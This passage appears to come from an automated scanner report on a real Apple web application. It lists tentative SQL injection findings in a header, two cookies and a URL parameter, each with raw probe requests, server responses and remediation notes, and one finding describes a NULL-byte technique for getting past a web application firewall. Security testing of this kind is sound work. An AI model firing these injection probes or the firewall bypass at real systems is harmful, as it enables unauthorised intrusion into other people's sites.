ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60; __utma=154752810.1794820674.1310696627.1310696627.1310696627.1; __utmb=154752810.2.10.1310696627; __utmc=154752810; __utmz=154752810.1310696627.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response 2

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 03:46:52 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 53263

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
1.4. http://consultants-locator.apple.com/index.php [Referer HTTP header]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://consultants-locator.apple.com
Path:   /index.php

Issue detail

The Referer HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the Referer HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /index.php?fuseaction=home.directory&offset=0&PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60&q=b0ad728d6b0d7d8318425ae1f7b86b60%22%20and%203-2%20=%20%221d&rppg=8 HTTP/1.1
Host: consultants-locator.apple.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E72CC1050115FB-600001068002ECF7[CE]; ac_survey=1; dssid2=551d8f7b-875a-4573-a5cf-6a3ef5da7954; ac_search=xss; POD=us~en; s_cvp35b=%5B%5B'burp'%2C'1309456135633'%5D%2C%5B'google%253A%2520organic'%2C'1310087563005'%5D%2C%5B'burp'%2C'1310659144373'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D5%3Bch%3Dipod%26vn%3D3%3Bch%3Dmac%26vn%3D2%3Bch%3Dip%26vn%3D3%3Bch%3Dipad%26vn%3D3%3Bch%3Ditunes%26vn%3D3%3Bch%3Dmacbookpro%26vn%3D1%3Bch%3Dipodnano%26vn%3D3%3Bch%3Dlegal%26vn%3D4%3Bch%3Dretailstore%26vn%3D3%3Bch%3Dbuy%26vn%3D3%3Bch%3Dcontact%26vn%3D1%3Bch%3Dhotnews%26vn%3D1%3Bch%3Dother%26vn%3D1%3Bch%3Dabout%26vn%3D1%3Bch%3Dsafari%26vn%3D1%3Bch%3Deducation%26vn%3D1%3B; PHPSESSID=9ff9ab121d87bef4b0d8ed64fdfc9f19; ccl=ZhJSf6TmLo5dfUYpLbN0p3oQtTKNSYKyhmydPiiwo79WlvBQ36zQIaXx9IhEXh1LrlyI9NowXVv36tRIIA26djndD9Jur49oRSXcWEQ6pFqgLkr++HWRHbqFQwUCwNCxYopAMHFc1Z+z7zGxdy2eAvoiH7nxUefRG/06PdRATsIPtxP9wEIFQXpFTEjroU/y0URQ99yPV4fnKK9C7JSBBpnD0cMmWGkxTzScI8/vOzRhWjb9UDZibJRuG9rb2GBjrqY6loZHbGoblcvk2LZjJS5sOUA1r+jMf1P0o1GnwScKlFEOOd68vgUC3HHORsVg3FERZQsHHrMqe2GGTIsnx4q3V+LyE/B8hyZ6xQ8QZMVFdX6/jWfum6BT2ms1iahgkuh5LdW/cFUk/bBthYd03sW4lD18a27kLVffRUgNBFWmsEB7cpYOhsgzesntgmHPXf0kkF58c+hhQuO9uavT2Wgccso6bHUGYt6m3ravVDnvrt+4IUEVpBkX8hgFz/DL80sNZZO77MCO9kutXtgVV9fxExK1Bad3OLKvWfB88LylvOsCdXsst03GnaP2HvsP; geo=US; __utma=154752810.1573842376.1310755969.1310755969.1310755969.1; __utmb=154752810.4.10.1310755969; __utmc=154752810; __utmz=154752810.1310755969.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
Referer: http://www.google.com/search?hl=en&q='

Response 1

HTTP/1.0 500 Internal Server Error
Date: Fri, 15 Jul 2011 19:58:19 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

Request 2

GET /index.php?fuseaction=home.directory&offset=0&PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60&q=b0ad728d6b0d7d8318425ae1f7b86b60%22%20and%203-2%20=%20%221d&rppg=8 HTTP/1.1
Host: consultants-locator.apple.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E72CC1050115FB-600001068002ECF7[CE]; ac_survey=1; dssid2=551d8f7b-875a-4573-a5cf-6a3ef5da7954; ac_search=xss; POD=us~en; s_cvp35b=%5B%5B'burp'%2C'1309456135633'%5D%2C%5B'google%253A%2520organic'%2C'1310087563005'%5D%2C%5B'burp'%2C'1310659144373'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D5%3Bch%3Dipod%26vn%3D3%3Bch%3Dmac%26vn%3D2%3Bch%3Dip%26vn%3D3%3Bch%3Dipad%26vn%3D3%3Bch%3Ditunes%26vn%3D3%3Bch%3Dmacbookpro%26vn%3D1%3Bch%3Dipodnano%26vn%3D3%3Bch%3Dlegal%26vn%3D4%3Bch%3Dretailstore%26vn%3D3%3Bch%3Dbuy%26vn%3D3%3Bch%3Dcontact%26vn%3D1%3Bch%3Dhotnews%26vn%3D1%3Bch%3Dother%26vn%3D1%3Bch%3Dabout%26vn%3D1%3Bch%3Dsafari%26vn%3D1%3Bch%3Deducation%26vn%3D1%3B; PHPSESSID=9ff9ab121d87bef4b0d8ed64fdfc9f19; ccl=ZhJSf6TmLo5dfUYpLbN0p3oQtTKNSYKyhmydPiiwo79WlvBQ36zQIaXx9IhEXh1LrlyI9NowXVv36tRIIA26djndD9Jur49oRSXcWEQ6pFqgLkr++HWRHbqFQwUCwNCxYopAMHFc1Z+z7zGxdy2eAvoiH7nxUefRG/06PdRATsIPtxP9wEIFQXpFTEjroU/y0URQ99yPV4fnKK9C7JSBBpnD0cMmWGkxTzScI8/vOzRhWjb9UDZibJRuG9rb2GBjrqY6loZHbGoblcvk2LZjJS5sOUA1r+jMf1P0o1GnwScKlFEOOd68vgUC3HHORsVg3FERZQsHHrMqe2GGTIsnx4q3V+LyE/B8hyZ6xQ8QZMVFdX6/jWfum6BT2ms1iahgkuh5LdW/cFUk/bBthYd03sW4lD18a27kLVffRUgNBFWmsEB7cpYOhsgzesntgmHPXf0kkF58c+hhQuO9uavT2Wgccso6bHUGYt6m3ravVDnvrt+4IUEVpBkX8hgFz/DL80sNZZO77MCO9kutXtgVV9fxExK1Bad3OLKvWfB88LylvOsCdXsst03GnaP2HvsP; geo=US; __utma=154752810.1573842376.1310755969.1310755969.1310755969.1; __utmb=154752810.4.10.1310755969; __utmc=154752810; __utmz=154752810.1310755969.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
Referer: http://www.google.com/search?hl=en&q=''

Response 2

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 19:58:20 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 45313

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
1.5. http://consultants-locator.apple.com/index.php [__utmb cookie]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://consultants-locator.apple.com
Path:   /index.php

Issue detail

The __utmb cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the __utmb cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request 1

GET /index.php?fuseaction=home.directory&offset=0&PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60&q=b0ad728d6b0d7d8318425ae1f7b86b60%22%20and%203-2%20=%20%221d&rppg=8 HTTP/1.1
Host: consultants-locator.apple.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E72CC1050115FB-600001068002ECF7[CE]; ac_survey=1; dssid2=551d8f7b-875a-4573-a5cf-6a3ef5da7954; ac_search=xss; POD=us~en; s_cvp35b=%5B%5B'burp'%2C'1309456135633'%5D%2C%5B'google%253A%2520organic'%2C'1310087563005'%5D%2C%5B'burp'%2C'1310659144373'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D5%3Bch%3Dipod%26vn%3D3%3Bch%3Dmac%26vn%3D2%3Bch%3Dip%26vn%3D3%3Bch%3Dipad%26vn%3D3%3Bch%3Ditunes%26vn%3D3%3Bch%3Dmacbookpro%26vn%3D1%3Bch%3Dipodnano%26vn%3D3%3Bch%3Dlegal%26vn%3D4%3Bch%3Dretailstore%26vn%3D3%3Bch%3Dbuy%26vn%3D3%3Bch%3Dcontact%26vn%3D1%3Bch%3Dhotnews%26vn%3D1%3Bch%3Dother%26vn%3D1%3Bch%3Dabout%26vn%3D1%3Bch%3Dsafari%26vn%3D1%3Bch%3Deducation%26vn%3D1%3B; PHPSESSID=9ff9ab121d87bef4b0d8ed64fdfc9f19; ccl=ZhJSf6TmLo5dfUYpLbN0p3oQtTKNSYKyhmydPiiwo79WlvBQ36zQIaXx9IhEXh1LrlyI9NowXVv36tRIIA26djndD9Jur49oRSXcWEQ6pFqgLkr++HWRHbqFQwUCwNCxYopAMHFc1Z+z7zGxdy2eAvoiH7nxUefRG/06PdRATsIPtxP9wEIFQXpFTEjroU/y0URQ99yPV4fnKK9C7JSBBpnD0cMmWGkxTzScI8/vOzRhWjb9UDZibJRuG9rb2GBjrqY6loZHbGoblcvk2LZjJS5sOUA1r+jMf1P0o1GnwScKlFEOOd68vgUC3HHORsVg3FERZQsHHrMqe2GGTIsnx4q3V+LyE/B8hyZ6xQ8QZMVFdX6/jWfum6BT2ms1iahgkuh5LdW/cFUk/bBthYd03sW4lD18a27kLVffRUgNBFWmsEB7cpYOhsgzesntgmHPXf0kkF58c+hhQuO9uavT2Wgccso6bHUGYt6m3ravVDnvrt+4IUEVpBkX8hgFz/DL80sNZZO77MCO9kutXtgVV9fxExK1Bad3OLKvWfB88LylvOsCdXsst03GnaP2HvsP; geo=US; __utma=154752810.1573842376.1310755969.1310755969.1310755969.1; __utmb=154752810.4.10.1310755969%00'; __utmc=154752810; __utmz=154752810.1310755969.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response 1

HTTP/1.0 500 Internal Server Error
Date: Fri, 15 Jul 2011 19:47:47 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

Request 2

GET /index.php?fuseaction=home.directory&offset=0&PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60&q=b0ad728d6b0d7d8318425ae1f7b86b60%22%20and%203-2%20=%20%221d&rppg=8 HTTP/1.1
Host: consultants-locator.apple.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E72CC1050115FB-600001068002ECF7[CE]; ac_survey=1; dssid2=551d8f7b-875a-4573-a5cf-6a3ef5da7954; ac_search=xss; POD=us~en; s_cvp35b=%5B%5B'burp'%2C'1309456135633'%5D%2C%5B'google%253A%2520organic'%2C'1310087563005'%5D%2C%5B'burp'%2C'1310659144373'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D5%3Bch%3Dipod%26vn%3D3%3Bch%3Dmac%26vn%3D2%3Bch%3Dip%26vn%3D3%3Bch%3Dipad%26vn%3D3%3Bch%3Ditunes%26vn%3D3%3Bch%3Dmacbookpro%26vn%3D1%3Bch%3Dipodnano%26vn%3D3%3Bch%3Dlegal%26vn%3D4%3Bch%3Dretailstore%26vn%3D3%3Bch%3Dbuy%26vn%3D3%3Bch%3Dcontact%26vn%3D1%3Bch%3Dhotnews%26vn%3D1%3Bch%3Dother%26vn%3D1%3Bch%3Dabout%26vn%3D1%3Bch%3Dsafari%26vn%3D1%3Bch%3Deducation%26vn%3D1%3B; PHPSESSID=9ff9ab121d87bef4b0d8ed64fdfc9f19; ccl=ZhJSf6TmLo5dfUYpLbN0p3oQtTKNSYKyhmydPiiwo79WlvBQ36zQIaXx9IhEXh1LrlyI9NowXVv36tRIIA26djndD9Jur49oRSXcWEQ6pFqgLkr++HWRHbqFQwUCwNCxYopAMHFc1Z+z7zGxdy2eAvoiH7nxUefRG/06PdRATsIPtxP9wEIFQXpFTEjroU/y0URQ99yPV4fnKK9C7JSBBpnD0cMmWGkxTzScI8/vOzRhWjb9UDZibJRuG9rb2GBjrqY6loZHbGoblcvk2LZjJS5sOUA1r+jMf1P0o1GnwScKlFEOOd68vgUC3HHORsVg3FERZQsHHrMqe2GGTIsnx4q3V+LyE/B8hyZ6xQ8QZMVFdX6/jWfum6BT2ms1iahgkuh5LdW/cFUk/bBthYd03sW4lD18a27kLVffRUgNBFWmsEB7cpYOhsgzesntgmHPXf0kkF58c+hhQuO9uavT2Wgccso6bHUGYt6m3ravVDnvrt+4IUEVpBkX8hgFz/DL80sNZZO77MCO9kutXtgVV9fxExK1Bad3OLKvWfB88LylvOsCdXsst03GnaP2HvsP; geo=US; __utma=154752810.1573842376.1310755969.1310755969.1310755969.1; __utmb=154752810.4.10.1310755969%00''; __utmc=154752810; __utmz=154752810.1310755969.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response 2

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 19:47:48 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 45313

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
1.6. http://consultants-locator.apple.com/index.php [__utmz cookie]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://consultants-locator.apple.com
Path:   /index.php

Issue detail

The __utmz cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the __utmz cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /index.php?fuseaction=home.directory&offset=0&PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60&q=b0ad728d6b0d7d8318425ae1f7b86b60%22%20and%203-2%20=%20%221d&rppg=8 HTTP/1.1
Host: consultants-locator.apple.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E72CC1050115FB-600001068002ECF7[CE]; ac_survey=1; dssid2=551d8f7b-875a-4573-a5cf-6a3ef5da7954; ac_search=xss; POD=us~en; s_cvp35b=%5B%5B'burp'%2C'1309456135633'%5D%2C%5B'google%253A%2520organic'%2C'1310087563005'%5D%2C%5B'burp'%2C'1310659144373'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D5%3Bch%3Dipod%26vn%3D3%3Bch%3Dmac%26vn%3D2%3Bch%3Dip%26vn%3D3%3Bch%3Dipad%26vn%3D3%3Bch%3Ditunes%26vn%3D3%3Bch%3Dmacbookpro%26vn%3D1%3Bch%3Dipodnano%26vn%3D3%3Bch%3Dlegal%26vn%3D4%3Bch%3Dretailstore%26vn%3D3%3Bch%3Dbuy%26vn%3D3%3Bch%3Dcontact%26vn%3D1%3Bch%3Dhotnews%26vn%3D1%3Bch%3Dother%26vn%3D1%3Bch%3Dabout%26vn%3D1%3Bch%3Dsafari%26vn%3D1%3Bch%3Deducation%26vn%3D1%3B; PHPSESSID=9ff9ab121d87bef4b0d8ed64fdfc9f19; ccl=ZhJSf6TmLo5dfUYpLbN0p3oQtTKNSYKyhmydPiiwo79WlvBQ36zQIaXx9IhEXh1LrlyI9NowXVv36tRIIA26djndD9Jur49oRSXcWEQ6pFqgLkr++HWRHbqFQwUCwNCxYopAMHFc1Z+z7zGxdy2eAvoiH7nxUefRG/06PdRATsIPtxP9wEIFQXpFTEjroU/y0URQ99yPV4fnKK9C7JSBBpnD0cMmWGkxTzScI8/vOzRhWjb9UDZibJRuG9rb2GBjrqY6loZHbGoblcvk2LZjJS5sOUA1r+jMf1P0o1GnwScKlFEOOd68vgUC3HHORsVg3FERZQsHHrMqe2GGTIsnx4q3V+LyE/B8hyZ6xQ8QZMVFdX6/jWfum6BT2ms1iahgkuh5LdW/cFUk/bBthYd03sW4lD18a27kLVffRUgNBFWmsEB7cpYOhsgzesntgmHPXf0kkF58c+hhQuO9uavT2Wgccso6bHUGYt6m3ravVDnvrt+4IUEVpBkX8hgFz/DL80sNZZO77MCO9kutXtgVV9fxExK1Bad3OLKvWfB88LylvOsCdXsst03GnaP2HvsP; geo=US; __utma=154752810.1573842376.1310755969.1310755969.1310755969.1; __utmb=154752810.4.10.1310755969; __utmc=154752810; __utmz=154752810.1310755969.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)'

Response 1

HTTP/1.0 500 Internal Server Error
Date: Fri, 15 Jul 2011 19:53:14 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

Request 2

GET /index.php?fuseaction=home.directory&offset=0&PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60&q=b0ad728d6b0d7d8318425ae1f7b86b60%22%20and%203-2%20=%20%221d&rppg=8 HTTP/1.1
Host: consultants-locator.apple.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E72CC1050115FB-600001068002ECF7[CE]; ac_survey=1; dssid2=551d8f7b-875a-4573-a5cf-6a3ef5da7954; ac_search=xss; POD=us~en; s_cvp35b=%5B%5B'burp'%2C'1309456135633'%5D%2C%5B'google%253A%2520organic'%2C'1310087563005'%5D%2C%5B'burp'%2C'1310659144373'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D5%3Bch%3Dipod%26vn%3D3%3Bch%3Dmac%26vn%3D2%3Bch%3Dip%26vn%3D3%3Bch%3Dipad%26vn%3D3%3Bch%3Ditunes%26vn%3D3%3Bch%3Dmacbookpro%26vn%3D1%3Bch%3Dipodnano%26vn%3D3%3Bch%3Dlegal%26vn%3D4%3Bch%3Dretailstore%26vn%3D3%3Bch%3Dbuy%26vn%3D3%3Bch%3Dcontact%26vn%3D1%3Bch%3Dhotnews%26vn%3D1%3Bch%3Dother%26vn%3D1%3Bch%3Dabout%26vn%3D1%3Bch%3Dsafari%26vn%3D1%3Bch%3Deducation%26vn%3D1%3B; PHPSESSID=9ff9ab121d87bef4b0d8ed64fdfc9f19; ccl=ZhJSf6TmLo5dfUYpLbN0p3oQtTKNSYKyhmydPiiwo79WlvBQ36zQIaXx9IhEXh1LrlyI9NowXVv36tRIIA26djndD9Jur49oRSXcWEQ6pFqgLkr++HWRHbqFQwUCwNCxYopAMHFc1Z+z7zGxdy2eAvoiH7nxUefRG/06PdRATsIPtxP9wEIFQXpFTEjroU/y0URQ99yPV4fnKK9C7JSBBpnD0cMmWGkxTzScI8/vOzRhWjb9UDZibJRuG9rb2GBjrqY6loZHbGoblcvk2LZjJS5sOUA1r+jMf1P0o1GnwScKlFEOOd68vgUC3HHORsVg3FERZQsHHrMqe2GGTIsnx4q3V+LyE/B8hyZ6xQ8QZMVFdX6/jWfum6BT2ms1iahgkuh5LdW/cFUk/bBthYd03sW4lD18a27kLVffRUgNBFWmsEB7cpYOhsgzesntgmHPXf0kkF58c+hhQuO9uavT2Wgccso6bHUGYt6m3ravVDnvrt+4IUEVpBkX8hgFz/DL80sNZZO77MCO9kutXtgVV9fxExK1Bad3OLKvWfB88LylvOsCdXsst03GnaP2HvsP; geo=US; __utma=154752810.1573842376.1310755969.1310755969.1310755969.1; __utmb=154752810.4.10.1310755969; __utmc=154752810; __utmz=154752810.1310755969.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)''

Response 2

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 19:53:15 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 45313

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
1.7. http://consultants-locator.apple.com/index.php [fuseaction parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://consultants-locator.apple.com
Path:   /index.php

Issue detail

The fuseaction parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the fuseaction parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /index.php?fuseaction=home.directory'&offset=0&PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60&q=b0ad728d6b0d7d8318425ae1f7b86b60%22%20and%203-2%20=%20%221d&rppg=8 HTTP/1.1
Host: consultants-locator.apple.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|26E72CC1050115FB-600001068002ECF7[CE]; ac_survey=1; dssid2=551d8f7b-875a-4573-a5cf-6a3ef5da7954; ac_search=xss; POD=us~en; s_cvp35b=%5B%5B'burp'%2C'1309456135633'%5D%2C%5B'google%253A%2520organic'%2C'1310087563005'%5D%2C%5B'burp'%2C'1310659144373'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D5%3Bch%3Dipod%26vn%3D3%3Bch%3Dmac%26vn%3D2%3Bch%3Dip%26vn%3D3%3Bch%3Dipad%26vn%3D3%3Bch%3Ditunes%26vn%3D3%3Bch%3Dmacbookpro%26vn%3D1%3Bch%3Dipodnano%26vn%3D3%3Bch%3Dlegal%26vn%3D4%3Bch%3Dretailstore%26vn%3D3%3Bch%3Dbuy%26vn%3D3%3Bch%3Dcontact%26vn%3D1%3Bch%3Dhotnews%26vn%3D1%3Bch%3Dother%26vn%3D1%3Bch%3Dabout%26vn%3D1%3Bch%3Dsafari%26vn%3D1%3Bch%3Deducation%26vn%3D1%3B; PHPSESSID=9ff9ab121d87bef4b0d8ed64fdfc9f19; ccl=ZhJSf6TmLo5dfUYpLbN0p3oQtTKNSYKyhmydPiiwo79WlvBQ36zQIaXx9IhEXh1LrlyI9NowXVv36tRIIA26djndD9Jur49oRSXcWEQ6pFqgLkr++HWRHbqFQwUCwNCxYopAMHFc1Z+z7zGxdy2eAvoiH7nxUefRG/06PdRATsIPtxP9wEIFQXpFTEjroU/y0URQ99yPV4fnKK9C7JSBBpnD0cMmWGkxTzScI8/vOzRhWjb9UDZibJRuG9rb2GBjrqY6loZHbGoblcvk2LZjJS5sOUA1r+jMf1P0o1GnwScKlFEOOd68vgUC3HHORsVg3FERZQsHHrMqe2GGTIsnx4q3V+LyE/B8hyZ6xQ8QZMVFdX6/jWfum6BT2ms1iahgkuh5LdW/cFUk/bBthYd03sW4lD18a27kLVffRUgNBFWmsEB7cpYOhsgzesntgmHPXf0kkF58c+hhQuO9uavT2Wgccso6bHUGYt6m3ravVDnvrt+4IUEVpBkX8hgFz/DL80sNZZO77MCO9kutXtgVV9fxExK1Bad3OLKvWfB88LylvOsCdXsst03GnaP2HvsP; geo=US; 